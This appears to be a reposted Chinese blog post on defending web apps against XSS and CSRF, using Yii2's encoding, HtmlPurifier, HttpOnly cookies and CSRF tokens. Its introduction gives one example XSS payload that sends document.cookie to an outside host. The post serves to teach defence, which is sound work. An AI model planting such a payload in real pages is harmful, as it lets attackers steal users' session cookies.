原文地址 -> 常见web安全之XSS和CSRF预防
近期玩了一下xss-game 一个测试使用XSS
的网站,好多都没做出来,最后还是靠搜索xss-game solution
来完成的,所以写写常见的web
安全的事。
日常开发比较少接触到安全,但不代表我们就不重视安全。常见的web
共计分为XSS
和CSRF
共计,XSS
为在用户输入中嵌入JavaScript
脚本来实现攻击,常常会使用location.herf='http://example.com?cookie='+document.cookie
来获取用户的cookie
,但即使用户没有恶意,插入alert
这类操作,也会很影响用户的体验,如果插入到数据库,导致其他用户查看页面也弹出此类提示框,就更不行了。
XSS
XSS
全称是Cross-site scripting
,分为反射型和存储型,反射型不会存储到数据库,存储型会存储到数据库,我查看了下PHP
的Yii2
框架是如何防止XSS
攻击的。点击查看官方文档
避免 XSS 攻击在 Yii 中非常简单,有如下两种一般情况:
你希望数据以纯文本输出。
你希望数据以 HTML 形式输出。
如果你需要的是纯文本,你可以如下简单的转义:
<?= \yii\helpers\Html::encode($username) ?> 复制代码
如果是 HTML ,我们可以用 HtmlPurifier 帮助类来执行:
<?= \yii\helpers\HtmlPurifier::process($description) ?> 复制代码
查看Yii2
中的encode
方法
public static function encode($content, $doubleEncode = true)
{
return htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE, Yii::$app ? Yii::$app->charset : 'UTF-8', $doubleEncode);
}
复制代码
发现还是使用的原生的htmlspecialchars
方法,但是需要注意编码问题。
Yii2
中的HtmlPurifier
则是使用的htmlpurifier.org/ ,具体用法可以查看官方网站,这里就不赘述了。
防止cookie
的获取,还需要设置HTTP only
为true
CSRF
CSRF
全称Cross-site request forgery
,通过伪装来自受信任用户的请求来利用受信任的网站。上面介绍了XSS
可以用来获取用户的cookie
,然后伪装用户发起请求,服务器根据cookie
来辩别是否是当前用户。这样攻击者就可以获取正常用户所需的数据。
常见的防御方法
-
验证
HTTP Referer
字段HTTP
中的Referer
字段记录了HTTP
请求的来源地址,这样后台拦截其他地址就可以防止CSRF
攻击了,但是Referer
在IE6
中是可以改写的,而且用户担心隐私不让网站记录地址,可以设置浏览器在发送请求不提供Referer
,所以仍然还是会存在问题。 -
请求地址中添加
token
验证通过在验证用户请求中生成的
token
来判断用户上传的数据是否合乎规则,来防止CSRF
攻击。Yii2
会在验证中设置开启是否需要CSRF
验证public $enableCsrfValidation = true; // 设置开启 CSRF 验证 public $enableCookieValidation = true; // 设置开启 cookie 验证 复制代码
用户
form
中需要如下引用,使用以下方法来生成csrf token
,来上传给后台<input type="hidden" name="_csrf" value="<?=Yii::$app->request->getCsrfToken() ?>"> 复制代码
使用
ajax
方法时data:{_csrf:"<?=Yii::$app->request->csrfToken ?>"} 复制代码
Yii2
生成token
是在yii2\web\request::generateCsrfToken
方法中,通过token
和一个随机生成的mask
经过异或运算后与mask
拼接再经过base64
加密后处理的一个字符串上传数据后,在开发人员操作用户数据之前,
Yii2
在yii\web\Controller::beforeAction
中进行CSRF
验证。数据验证不成功,则抛出Unable to verify your data submission.